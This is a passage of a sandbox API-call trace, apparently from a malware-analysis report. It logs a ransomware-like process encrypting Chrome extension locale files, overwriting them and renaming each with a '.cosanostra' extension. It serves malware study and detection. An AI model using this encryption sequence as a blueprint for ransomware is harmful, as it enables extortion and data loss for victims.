nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26ffb34, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb34*=0xe4, lpOverlapped=0x0) returned 1 [0085.611] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.611] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb34, lpOverlapped=0x0 | out: lpBuffer=0x26ffb74*, lpNumberOfBytesWritten=0x26ffb34*=0x4, lpOverlapped=0x0) returned 1 [0085.611] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb34, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb34*=0x30, lpOverlapped=0x0) returned 1 [0085.611] CloseHandle (hObject=0x178) returned 1 [0085.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0085.613] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb70 | out: pbBuffer=0x26ffb70) returned 1 [0085.613] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb68*=0x30) returned 1 [0085.613] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.613] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 155 [0085.613] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.614] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.614] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x26ffb2c, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb2c*=0xda, lpOverlapped=0x0) returned 1 [0085.615] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.615] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb2c, lpOverlapped=0x0 | out: lpBuffer=0x26ffb6c*, lpNumberOfBytesWritten=0x26ffb2c*=0x4, lpOverlapped=0x0) returned 1 [0085.615] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb2c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb2c*=0x30, lpOverlapped=0x0) returned 1 [0085.615] CloseHandle (hObject=0x178) returned 1 [0085.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0085.617] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb68 | out: pbBuffer=0x26ffb68) returned 1 [0085.617] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb60*=0x30) returned 1 [0085.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.617] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 155 [0085.617] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.618] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.618] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x26ffb24, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb24*=0xdd, lpOverlapped=0x0) returned 1 [0085.618] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.618] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb24, lpOverlapped=0x0 | out: lpBuffer=0x26ffb64*, lpNumberOfBytesWritten=0x26ffb24*=0x4, lpOverlapped=0x0) returned 1 [0085.618] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb24, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb24*=0x30, lpOverlapped=0x0) returned 1 [0085.618] CloseHandle (hObject=0x178) returned 1 [0085.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0085.620] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb60 | out: pbBuffer=0x26ffb60) returned 1 [0085.620] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb58*=0x30) returned 1 [0085.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.620] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 155 [0085.620] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.656] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.656] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x26ffb1c, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x26ffb1c*=0xd5, lpOverlapped=0x0) returned 1 [0085.657] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.657] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb1c, lpOverlapped=0x0 | out: lpBuffer=0x26ffb5c*, lpNumberOfBytesWritten=0x26ffb1c*=0x4, lpOverlapped=0x0) returned 1 [0085.657] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb1c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb1c*=0x30, lpOverlapped=0x0) returned 1 [0085.657] CloseHandle (hObject=0x178) returned 1 [0085.657] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0085.658] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb58 | out: pbBuffer=0x26ffb58) returned 1 [0085.658] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb50*=0x30) returned 1 [0085.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.659] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 158 [0085.659] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.660] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.660] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x26ffb14, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffb14*=0xd0, lpOverlapped=0x0) returned 1 [0085.660] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.660] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb14, lpOverlapped=0x0 | out: lpBuffer=0x26ffb54*, lpNumberOfBytesWritten=0x26ffb14*=0x4, lpOverlapped=0x0) returned 1 [0085.660] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb14, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb14*=0x30, lpOverlapped=0x0) returned 1 [0085.660] CloseHandle (hObject=0x178) returned 1 [0085.660] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.cosanostra")) returned 1 [0085.662] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb50 | out: pbBuffer=0x26ffb50) returned 1 [0085.662] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb48*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb48*=0x30) returned 1 [0085.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.662] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 155 [0085.662] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.663] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.663] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffb0c*=0x104, lpOverlapped=0x0) returned 1 [0085.663] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.663] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x26ffb4c*, lpNumberOfBytesWritten=0x26ffb0c*=0x4, lpOverlapped=0x0) returned 1 [0085.663] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb0c*=0x30, lpOverlapped=0x0) returned 1 [0085.663] CloseHandle (hObject=0x178) returned 1 [0085.663] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0085.664] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb48 | out: pbBuffer=0x26ffb48) returned 1 [0085.664] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb40*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb40*=0x30) returned 1 [0085.664] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.665] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 155 [0085.665] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.665] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff27, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.665] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0x26ffb04, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffb04*=0xd9, lpOverlapped=0x0) returned 1 [0085.666] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.666] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffb04, lpOverlapped=0x0 | out: lpBuffer=0x26ffb44*, lpNumberOfBytesWritten=0x26ffb04*=0x4, lpOverlapped=0x0) returned 1 [0085.666] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffb04, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffb04*=0x30, lpOverlapped=0x0) returned 1 [0085.666] CloseHandle (hObject=0x178) returned 1 [0085.666] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0085.668] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb40 | out: pbBuffer=0x26ffb40) returned 1 [0085.668] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb38*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb38*=0x30) returned 1 [0085.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.668] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 155 [0085.668] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.669] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.669] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x26ffafc, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffafc*=0xd8, lpOverlapped=0x0) returned 1 [0085.669] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.669] WriteFile (in: hFile=0x178, lpBuffer=0x26ffb3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffafc, lpOverlapped=0x0 | out: lpBuffer=0x26ffb3c*, lpNumberOfBytesWritten=0x26ffafc*=0x4, lpOverlapped=0x0) returned 1 [0085.669] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffafc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffafc*=0x30, lpOverlapped=0x0) returned 1 [0085.669] CloseHandle (hObject=0x178) returned 1 [0085.671] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0085.673] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffb38 | out: pbBuffer=0x26ffb38) returned 1 [0085.673] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffb30*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffb30*=0x30) returned 1 [0085.673] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.674] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 155 [0085.674] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.674] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.674] WriteFile (in: hFile=0x178, lpBuffer=0x3015df8*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x26ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x3015df8*, lpNumberOfBytesWritten=0x26ffaf4*=0xde, lpOverlapped=0x0) returned 1 [0085.675] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, 